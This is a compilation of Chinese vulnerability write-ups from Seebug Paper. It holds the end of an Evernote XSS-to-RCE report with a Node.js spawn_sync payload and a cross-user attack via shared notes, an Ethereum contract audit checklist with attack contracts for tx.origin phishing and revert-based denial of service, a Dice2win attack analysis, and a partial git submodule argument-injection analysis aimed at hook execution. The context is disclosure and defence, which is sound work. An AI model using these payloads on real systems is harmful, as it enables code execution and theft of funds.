成功地弹出了计算器。123456789101112131415161718192021222324// command executedtry{spawn_sync = process.binding('spawn_sync');envPairs = [];for (var key in window.process.env) {envPairs.push(key + '=' + window.process.env[key]);}args = [];const options = {file: 'C:\\\\Windows\\system32\\calc.exe',args: args,envPairs: envPairs,stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true }]};spawn_sync.spawn(options);}catch(err){alert(err);}0x05 通过分享功能攻击其他用户
在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。
在注册了一个小号后,我尝试使用分享功能将
恶意笔记
分享给 ”他人“。我的小号将会在
工作空间
收到别人发来的消息。我的小号尝试演示这个笔记,被注入的
Nodejs
代码成功执行!0x06 感谢
- 感谢黑哥在漏洞发现和上报过程中的耐心指导和严格要求。
- 感谢我的前404同事sebao跟我分享了他发现的 XSS 漏洞细节。
- 感谢How we exploited a remote code execution vulnerability in math.js的作者、【技术分享】从PouchDB到RCE: 一个node.js注入向量的原文作者、中文译者,这些优秀的文章为我提供了巨大的帮助。
0x07 时间线
2018/09/27,发现相关漏洞,攥写报告并发送至
security@evernote.com
。
2018/09/27,官方确认漏洞
2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。
2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524
2018/11/05,Evernote 官方发布 正式版本 6.16.4,确认该漏洞被修复后公开漏洞细节。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/736/
-
以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月1日系列文章:- 《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》
一、简介
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,我们把超过10个问题点归结为开发者容易忽略的问题隐患,其中包括“语法特性”、“数据私密性”、“数据可靠性”、“gas消耗优化”、“合约用户”、“日志记录”、“回调函数”、“Owner权限”、“用户鉴权”、 “条件竞争”等,统一归类为“以太坊智能合约编码隐患”。
“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台,目前已经集成了部分基于opcode的审计功能。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码隐患”类问题在全网公开的智能合约代码做了扫描分析。详见下文:
二、漏洞详情
以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。
这次我们提到的问题多数属于智能合约独有问题,与我们常见的各类代码不同,在编写智能合约代码时还需要考虑多种问题。
1、语法特性
在智能合约中小心整数除法的向下取整问题
在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。
该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。
错误样例
12345uint x = 5 / 2; // 2正确代码uint multiplier = 10;uint x = (5 * multiplier) / 2;2、数据私密性
在合约中,所有的数据都是公开的。包括私有变量等,不得将任何带有私密性的数据储存在链上。
3、数据可靠性
在合约中,许多开发者习惯用时间戳来做判断条件,例如
12345uint someVariable = now + 1;if (now % 2 == 0) { // now可能被矿工控制}now、block_timestamp会被矿工所控制,并不可靠。
4、gas消耗优化
1234567891011121314151617contract EUXLinkToken is ERC20 {using SafeMath for uint256;address owner = msg.sender;mapping (address => uint256) balances;mapping (address => mapping (address => uint256)) allowed;mapping (address => bool) public blacklist;string public constant name = "xx";string public constant symbol = "xxx";uint public constant decimals = 8;uint256 public totalSupply = 1000000000e8;uint256 public totalDistributed = 200000000e8;uint256 public totalPurchase = 200000000e8;uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);uint256 public value = 5000e8;uint256 public purchaseCardinal = 5000000e8;uint256 public minPurchase = 0.001e18;uint256 public maxPurchase = 10e18;在合约中,涉及到状态变化的代码会消耗更多的,为了经可能优化gas消耗,对于不涉及状态变化的变量应该加constant来限制
5、合约用户
合约中,交易目标可能为合约,因此可能会产生的各种恶意利用。
12345678910contract Auction{address public currentLeader;uint256 public hidghestBid;function bid() public payable {require(msg.value > highestBid);require(currentLeader.send(highestBid));currentLeader = msg.sender;highestBid = currentLeader;}}上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。
123456contract Attack {function () { revert(); }function Attack(address _target) payable {_target.call.value(msg.value)(bytes4(keccak256("bid()")));}}但当新的用户试图成为新的“王”时,当代码执行到
require(currentLeader.send(highestBid));
时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。6、日志记录
当合约跑在链上之后,链上的一切数据都难以监控,对于一个健康的智能合约来说,记录合理的event,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。
1234fonction transferOwnership(address newOwner) onlyOwner public {ownner = newOwner;emit OwnershipTransferred(owner, newowner);}7、回调函数
fallback机制是基于智能合约的特殊性而存在的。对于智能合约来说,任何函数的执行都是通过交易来完成的,但函数的执行过程中可能会遇到各种各样的问题,在交易失败或者交易结束后,就会执行fallback来最后处理结果和返回。
而在合约交易中,执行的每一个操作都会花费巨大的gas,如果gas不足,那么fallback函数也会执行失败。在evm中规定,交易失败时,只有2300gas用于执行fallback函数,而2300gas只允许执行一组字节码指令。一旦遇到极端情况,可能会因为gas不够用导致某种情况发生,导致未知的不可挽回的后果。
例如
12function() payable { LogDepositReceived(msg.sender); }function() public payable{ revert();};8、Owner权限
避免owner权限过大
部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。
123function destroy() onlyOwner public onlyOwner{selfdestruct(owner);}9、用户鉴权问题
合约中不要使用tx.origin做鉴权
tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。
下面是一个范例:
123456789101112pragma solidity >0.4.24;// THIS CONTRACT CONTAINS A BUG - DO NOT USEcontract TxUserWallet {address owner;constructor() public {owner = msg.sender;}function transferTo(address dest, uint amount) public {require(tx.origin == owner);dest.transfer(amount);}}我们可以构造攻击合约
12345678910111213<span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">></span><span class="mf">0.4</span><span class="p">.</span><span class="mi">24</span><span class="p">;</span><span class="kr">interface</span> <span class="nx">TxUserWallet</span> <span class="p">{</span><span class="kd">function</span> <span class="nx">transferTo</span><span class="p">(</span><span class="nx">address</span> <span class="nx">dest</span><span class="p">,</span> <span class="nx">uint</span> <span class="nx">amount</span><span class="p">)</span> <span class="nx">external</span><span class="p">;</span><span class="p">}</span><span class="nx">contract</span> <span class="nx">TxAttackWallet</span> <span class="p">{</span><span class="nx">address</span> <span class="nx">owner</span><span class="p">;</span><span class="kr">constructor</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">;</span><span class="p">}</span><span class="kd">function</span><span class="p">()</span> <span class="nx">external</span> <span class="p">{</span><span class="nx">TxUserWallet</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">).</span><span class="nx">transferTo</span><span class="p">(</span><span class="nx">owner</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">balance</span><span class="p">);</span><span class="p">}</span><span class="p">}</span>当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。
https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin
10、条件竞争
在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。
真实世界事件
三、漏洞影响范围
使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。
基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共47305个合约代码进行了扫描。
其中存在数据可靠问题的合约共2732个,
存在int型变量gas优化问题的合约共18285个,
存在string型变量gas优化问题的合约共194个,
存在Owner权限过大或合约后门的合约共1194个,
存在tx.origin 鉴权问题问题的合约共52个。1、数据可靠性
截止2018年10月31日,我们发现了2732个存在数据可靠问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:
2、gas消耗优化
截止2018年10月31日,我们发现了18285个存在int型变量gas优化问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:
截止2018年10月31日,我们发现了194个存在string型变量gas优化问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:
3、回调函数
截止2018年10月31日,我们发现了8321个存在复杂回调的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:
4、Owner权限
截止2018年10月31日,我们发现了1194个存在Owner权限过大或合约后门,其中交易量最高的10个合约情况如下:
5、tx.origin 鉴权问题
截止2018年10月31日,我们发现了52个存在tx.origin 鉴权问题,其中交易量最高的10个合约情况如下:
四、修复方式
1、语法特性
在智能合约中小心整数除法的向下取整问题,可以通过先乘积为整数再做处理。
12uint multiplier = 10;uint x = (5 * multiplier) / 2;2、数据私密问题
在处理一些隐私数据是尽量保留在服务端,可以通过hash-commit的方式来check变量值。
3、数据可靠性
尽量使合约内容不依赖时间顺序,如果需要外部变量影响,那尽量采用block.height和block.hash等这类难以控制的变量。
4、gas消耗优化
对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗
5、合约用户
合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用。
6、日志记录
关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。
1234fonction transferOwnership(address newOwner) onlyOwner public {ownner = newOwner;emit OwnershipTransferred(owner, newowner);}7、回调函数
合约中定义Fallback函数,并使Fallback函数尽可能的简单。尽量避免在回调函数中调用transfer、call等涉及状态变化的操作,避免gas不够用直接导致未知情况发生。
8、Owner权限问题
部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。
关于owner权限问题,应该遵循几个要求:
- 合约创造后,任何人不能改变合约规则,包括规则参数大小等
- 只允许owner在合约销毁前,从合约中提取余额
- owner不能在未限制的情况下操作其他用户的余额等
9、用户鉴权
在需要用户鉴权的时刻,尽量使用msg.sender作为目标方。 https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin
10、条件竞争
在智能合约的设计中,避免对交易顺序的依赖,或者想办法强制要求交易顺序。
五、一些思考
在这一次整理合约编码隐患的过程中,对智能合约本身的特殊性进行了深入了解。和每个语言一样,智能合约有基于区块链这个大前提在,许多代码都出现了新的问题,如果开发者没有注意到这些隐患,一旦出现问题,这些隐患就可能导致更大的问题发生。
截止2018年10月31日,以太坊合约审计Checklist的所以问题完成了第一轮扫描,第一轮扫描针对以太坊公开的所有合约,其中超过80%的智能合约存在1个以上的安全隐患问题。在接下来的扫描报告中,我们会公开《以太坊合约审计Checklist》并使用HaoTian对以太坊公链上的所有智能合约进行基于opcode的扫描分析。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/732/
-
智能合约游戏之殇——Dice2win安全分析
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年10月18日系列文章:
《智能合约游戏之殇——类 Fomo3D 攻击分析》
《智能合约游戏之殇——God.Game 事件分析》Dice2win是目前以太坊上很火爆的区块链博彩游戏,其最大的特点就是理论上的公平性保证,每天有超过1000以太币被人们投入到这个游戏中。dice2win的游戏非常简单,就是一个赌概率的问题。
就相当于猜硬币的正面和反面,只要你猜对了,就可以赢得相应概率的收获。
这就是一个最简单的依赖公平性的游戏合约,只要“庄家”可以保证绝对的公正,那么这个游戏就成立。
2018年9月21日,我在《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》中提到了以太坊智能合约中存在一个弱随机数问题,里面提到dice2win的合约中实现了一个很好的随机数生成方案hash-commit-reveal。
2018年10月12日,Zhiniang Peng from Qihoo 360 Core Security发表了《Not a fair game, Dice2win 公平性分析》,里面提到了关于Dice2win的3个安全问题。
在阅读文章的时候,我重新审视了Dice2win的合约代码,发现在上次的阅读中对Dice2win的执行流程有所误解,而且Dice2win也在后面的代码中迭代更新了Merkle proof功能,这里我们就重点聊聊这几个问题。
Dice2win安全性分析
选择中止攻击
让我们来回顾一下dice2win的代码
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {// Check that the bet is in 'clean' state.Bet storage bet = bets[commit];require (bet.gambler == address(0), "Bet should be in a 'clean' state.");// Validate input data ranges.uint amount = msg.value;require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");// Check that commit is valid - it has not expired and its signature is valid.require (block.number <= commitLastBlock, "Commit has expired.");bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");uint rollUnder;uint mask;if (modulo <= MAX_MASK_MODULO) {// Small modulo games specify bet outcomes via bit mask.// rollUnder is a number of 1 bits in this mask (population count).// This magic looking formula is an efficient way to compute population// count on EVM for numbers below 2**40. For detailed proof consult// the dice2.win whitepaper.rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;mask = betMask;} else {// Larger modulos specify the right edge of half-open interval of// winning bet outcomes.require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");rollUnder = betMask;}// Winning amount and jackpot increase.uint possibleWinAmount;uint jackpotFee;(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);// Enforce max profit limit.require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");// Lock funds.lockedInBets += uint128(possibleWinAmount);jackpotSize += uint128(jackpotFee);// Check whether contract has enough funds to process this bet.require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");// Record commit in logs.emit Commit(commit);// Store bet parameters on blockchain.bet.amount = amount;bet.modulo = uint8(modulo);bet.rollUnder = uint8(rollUnder);bet.placeBlockNumber = uint40(block.number);bet.mask = uint40(mask);bet.gambler = msg.sender;}// This is the method used to settle 99% of bets. To process a bet with a specific// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to// "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {uint commit = uint(keccak256(abi.encodePacked(reveal)));Bet storage bet = bets[commit];uint placeBlockNumber = bet.placeBlockNumber;// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");require (blockhash(placeBlockNumber) == blockHash);// Settle bet using reveal and blockHash as entropy sources.settleBetCommon(bet, reveal, blockHash);}主要函数为placeBet和settleBet,其中placeBet函数主要为建立赌博,而settleBet为开奖。最重要的一点就是,这里完全遵守hash-commit-reveal方案实现,随机数生成过程在服务端,整个过程如下。
- 用户选择好自己的下注方式,确认好后点击下注按钮。
- 服务端生成随机数reveal,生成本次赌博的随机数hash信息,有效最大blockNumber,并将这些数据进行签名,并将commit和信息签名传给用户。
- 用户将获取到的随机数hash以及lastBlockNumber等信息和下注信息打包,通过Metamask执行placebet函数交易。
- 服务端在一段时间之后,将带有随机数和服务端执行settlebet开奖
在原文中提到,庄家(服务端)接收到用户猜测的数字,可以选择是否中奖,选择部分对自己不利的中止,以使庄家获得更大的利润。
这的确是这类型合约最容易出现的问题,庄家依赖这种方式放大庄家获胜的概率。
上面的流程如下
而上面提到的选择中止攻击就是上面图的右边可能会出现的问题
整个流程最大的问题,就在于placebet和settlebet有强制的执行先后顺序,否则其中的一项block.number将取不到正确的数字,也正是应为如此,当用户下注,placebet函数执行时,用户的下注信息就可以被服务端获得了,此时服务端有随机数、打包placebet的block.number、下注信息,服务端可以提前计算用户是否中奖,也就可以选择是否中止这次交易。
选择开奖攻击
在原文中,提到了一个很有趣的攻击方式,在了解这种攻击方式之前,首先我们需要对区块链共识算法有所了解。
比特币区块链采用Proof of Work(PoW)的机制,这是一个叫做工作量证明的机制,提案者需要经过大量的计算才能找到满足条件的hash,当寻找到满足条件的hash反过来也证明了提案者付出的工作量。但这种情况下,可能会有多个提案者,那么就有可能出现链的分叉。区块链对这种结果的做法是,会选取最长的一条链作为最终结果。
当你计算出来的块被抛弃时,也就意味着你付出的成本白费了。所以矿工会选择更容易被保留的链继续计算下去。这也就意味着如果有人破坏,需要付出大量的经济成本。
借用一张原文中的图
在链上,计算出的b2、c5、b5、b6打包的交易都会回退,交易失败,该块不被认可。
回到Dice2win合约上,Dice2win是一个不希望可逆的交易过程,对于赌博来说,单向不可逆是一个很重要的原则。所以Dice2win新添加了MerikleProof方法来解决这个问题。
MerikleProofi方法核心在于,无论是否分叉,该分块是否会被废弃,Dice2win都认可这次交易。当服务端接收到一个下注交易(placebet)时,立刻对该区块开奖。
上面这种方法的原理和以太坊的区块结构有关,具体可以看《Not a fair game, Dice2win 公平性分析》一文中的分析,但这种方法一定程度的确解决了开奖速度的问题,甚至还减少了上面提到的选择中止攻击的难度。
但却出现了新的问题,当placebet交易被打包到分叉的多个区块中,服务端可以通过选择获利更多的那个区块接受,这样可以最大化获得的利益。但这种攻击方式效果有效,主要有几个原因:
- Dice2win需要有一定算力的矿池才能主动影响链上的区块打包,但大部分算力仍然掌握在公开的矿池手中。所以这种攻击方式不适用于主动攻击。
- 被动的遇到分叉情况并不会太多,尤其是遇到了打包了placebet的区块,该区块的hash只是多了选择,仍然是不可控的,大概率多种情况结果都是一致的。
从这种角度来看,这种攻击方式有效率有限,对大部分玩家影响较小。
任意开奖攻击(Merkle proof验证绕过)
在上面的分析中,我们详细分析了我们Merkle proof的好处以及问题所在。但如果Merkle proof机制从根本上被绕过,那么是不是就有更大的问题了。
Dice2win在之前已经出现了这类攻击 https://etherscan.io/tx/0xd3b1069b63c1393b160c65481bd48c77f1d6f2b9f4bde0fe74627e42a4fc8f81
攻击者成功构造攻击合约,通过合约调用placeBet来下赌注,并伪造Merkle proof并调用settleBetUncleMerkleProof开奖,以100%的几率控制赌博成功。
分析攻击合约可以发现该合约中的多个安全问题:
1、Dice2win是一个不断更新的合约,存在多个版本。但其中决定庄家身份的secretSigner值存在多个版本相同的问题,导致同一个签名可以在多个合约中使用。
2、placebet中对于最后一个commitlaskblock的check存在问题
用作签名的commitlastblock定义是uint256,但用作签名的只有uint40,也就是说,我们在执行placeBet的时候,可以修改高位的数字,导致某个签名信息始终有效。
3、Merkle proof边界检查不严格。
在最近的一次commit中,dice2win修复了一个漏洞是关于Merkle proofcheck的范围。
https://github.com/dice2-win/contracts/commit/b0a0412f0301623dc3af2743dcace8e86cc6036b
这里检查使Merkle proof更严格了
4、settleBet 权限问题
经过我的研究,实际上在Dice2win的游戏逻辑中,settleBet应该是只有服务端才能调用的(只有庄家才能开奖),但在之前的版本中,并没有这样的设置。
在新版本中,settleBet加入了这个限制。
这里绕过Merkle proof的方法就不再赘述了,有兴趣可以看看原文。
refundBet下溢
感谢@Zhiniang Peng from Qihoo 360 Core Security 提出了我这里的问题,最开始理解有所偏差导致错误的结论。
原文中最后提到了一个refundBet函数的下溢,让我们来看看这个函数的代码
跟入getDiceWinAmount函数,发现jackpotFee并不可控
其中
JACKPOT_FEE = 0.001 ether
,且要保证amount大于0.1 ether,amount来自bet变量而bet变量只有在placebet中可以被设置。
但可惜的是,placebet中会进行一次相同的调用
所以我们无法构造一个完整的攻击过程。
但我们回到refundBet函数中,我们无法控制jackpotFee,那么我们是不是可以控制jackpotSize呢
首先我们需要理解一下,jackpotSize是做什么,在Dice2win的规则中,除了本身的规则以外,还有一份额外的大奖,是从上次大奖揭晓之后的交易抽成累积下来的。
如果有人中了大奖,那么这个值就会清零。
但这里就涉及竞争了,完整的利用流程如下:
- 攻击者a下注placebet,并获得commit
- 某个好运的用户在a下注开奖前拿走了大奖
- 攻击者调用refundBet退款
- jackpotSize成功溢出
总结
在回溯分析完整个Dice2win合约之后,我们不难发现,由于智能合约和传统的服务端逻辑不同,导致许多我们惯用的安全思路遇到了更多问题,区块链的不可信原则直接导致了随机数生成方式的难度加深。目前最为成熟的hash-commit-reveal方法是属于通过服务端与智能合约交互实现的,在随机数保密方面完成度很高,可惜的是无法避免服务端获取过多信息的问题。
在hash-commit-reveal方法的基础上,只要服务端不能即时响应开奖,选择中止攻击就始终存在。有趣的是Dice2win合约中试图实现的Merkle proof功能初衷是为了更快的开奖,但反而却在一定程度上减少了选择中止攻击的可能性。
任意开奖攻击,是一个针对Merkle proof的攻击方式,应验了所谓的功能越多漏洞越多的问题。攻击方式精巧,是一种很有趣的利用方式。
就目前为止,无论是底层的机制也好,又或是随机数的生成方式也好,智能合约的安全还有很长的路要走。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/717/
-
Git Submodule 漏洞(CVE-2018-17456)分析
作者:Hcamael@知道创宇404实验室 国庆节的时候,Git爆了一个RCE的漏洞,放假回来进行应急,因为公开的相关资料比较少,挺头大的,搞了两天,RCE成功了 收集资料
一开始研究这个漏洞的时候,网上公开的资料非常少,最详细的也就github blog[1]的了。
得知发现该漏洞的作者是@joernchen, 去翻了下他的twitter,找到了一篇还算有用的推文:
另外在twitter搜索
CVE-2018-17456
,得到一篇@_staaldraad验证成功的推文:可惜打了马赛克,另外还通过Google也零零散散找到一些有用的信息(url都找不到了),比如该漏洞无法在Windows上复现成功,因为
:
在Windows上不是有效的文件名。研究分析
网上资料太少,只凭这点资料无法完成该漏洞的复现,所以只能自己通过源码、调试进行测试研究了。
使用
woboq_codebrowser
生成了git v2.19.1
最新版的源码[2],方便审计。通过源码发现在
git
命令前使用GIT_TRACE=1
能开启git自带的命令跟踪,跟踪git的run_command
首先创建一个源,并创建其子模块(使用git v2.19.0进行测试):
12345678910111213141516$ git --versiongit version <span class="m">2</span>.19.0.271.gfe8321e.dirty$ mkdir evilrepo$ <span class="nb">cd</span> evilrepo/$ git init .Initialized empty Git repository in /home/ubuntu/evilrepo/.git/$ git submodule add https://github.com/Hcamael/hello-world.git test1Cloning into <span class="s1">'/home/ubuntu/evilrepo/test1'</span>...remote: Enumerating objects: <span class="m">3</span>, <span class="k">done</span>.remote: Counting objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.remote: Total <span class="m">3</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, pack-reused <span class="m">0</span>Unpacking objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.$ cat .gitmodules<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span><span class="nv">path</span> <span class="o">=</span> test1<span class="nv">url</span> <span class="o">=</span> https://github.com/Hcamael/hello-world.git从搜集到的资料看,可以知道,该漏洞的触发点是url参数,如果使用
-
开始则会被解析成参数,所以尝试修改url1234567891011121314151617181920212223242526$ cat .gitmodules<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span><span class="nv">path</span> <span class="o">=</span> test1<span class="nv">url</span> <span class="o">=</span> -test$ rm -rf .git/modules/test1/$ rm test1/.git修改.git/config$ cat .git/config<span class="o">[</span>core<span class="o">]</span><span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span><span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span><span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span><span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>这里可以选择把submodule的数据删除,可以可以选择直接修改url$ cat .git/config<span class="o">[</span>core<span class="o">]</span><span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span><span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span><span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span><span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span><span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span><span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span><span class="nv">url</span> <span class="o">=</span> -test$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init从输出结果中,我们可以看到一句命令:
12git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1error: unknown switch `t'我们设置的
-test
被git clone
识别为-t
参数,漏洞点找到了,下面需要考虑的是,怎么利用git clone
参数执行命令?继续研究,发现git有处理特殊字符,比如空格:
12345678910111213141516$ cat .git/config<span class="o">[</span>core<span class="o">]</span><span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span><span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span><span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span><span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span><span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span><span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span><span class="nv">url</span> <span class="o">=</span> -te st$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init.....git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url <span class="s1">'-te st'</span>.....git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 <span class="s1">'-te st'</span> /home/ubuntu/evilrepo/test1.....如果有特殊字符,则会加上单引号
翻了下源码,找到了过滤的函数[3],是一个白名单过滤
只有大小写字母,数字和下面这几种特殊字符才不会加上单引号:
1static const char ok_punct[] = "+,-./:=@_^";感觉这空格是绕不过了(反正我绕不动)
接下来继续研究如果利用参数进行命令执行
在翻twitter的过程中还翻到了之前一个Git RCE(CVE-2018-11235)[4]的文章,发现是利用hook来达到RCE的效果,在结合之前@_staaldraad验证成功的推文
可以很容易的想到一个方法,不过在讲这个方法前,先讲一些
git submodule
的基础知识点吧git submodule机制简单讲解
首先看看
.gitmodules
的几个参数:123<span class="k">[submodule "test1"]</span><span class="na">path</span> <span class="o">=</span> <span class="s">test2</span><span class="s"> url = test3</span>test1
表示的是submodule name,使用的参数是--name
,子项目.git
目录的数据会被储存到.git/modules/test1/
目录下test2
表示的是子项目储存的路径,表示子项目的内容将会被储存到./test2/
目录下test3
这个就很好理解,就是子项目的远程地址,如果是本地路径,就是拉去本地源把本地项目push到远程,是无法把
.git
目录push上去的,只能push.gitmodules
文件和test2
目录那么远程怎么识别该目录为submodule呢?在本地添加submodule的时候,会在
test2
目录下添加一个.git文件(在前面被我删除了,可以重新添加一个查看其内容)12$ cat test2/.gitgitdir: ../.git/modules/test1指向的是该项目的
.git
路径,该文件不会被push到远程,但是在push的时候,该文件会让git识别出该目录是submodule目录,该目录下的其他文件将不会被提交到远程,并且在远程为该文件创建一个链接,指向submodule地址:(我个人体会,可以看成是Linux下的软连接)
这个软连接是非常重要的,如果远程test2目录没有该软连接,
.gitmodules
文件中指向该路径的子项目在给clone到本地时(加了--recurse-submodules参数),该子项目将不会生效。理解了submodule大致的工作机制后,就来说说RCE的思路
我们可以把url设置为如下:
1url = --template=./template这是一个模板选项,详细作用自己搜下吧
在设置了该选项的情况下,把子项目clone到本地时,子项目的
.git
目录被放到.git/modules/test1
目录下,然后模板目录中,规定的几类文件也会被copy到.git/modules/test1
目录下。这几类文件其中就是hook所以,只有我们设置一个
./template/hook/post-checkout
,给post-checkout
添加可执行权限,把需要执行的命令写入其中,在子项目执行git chekcout
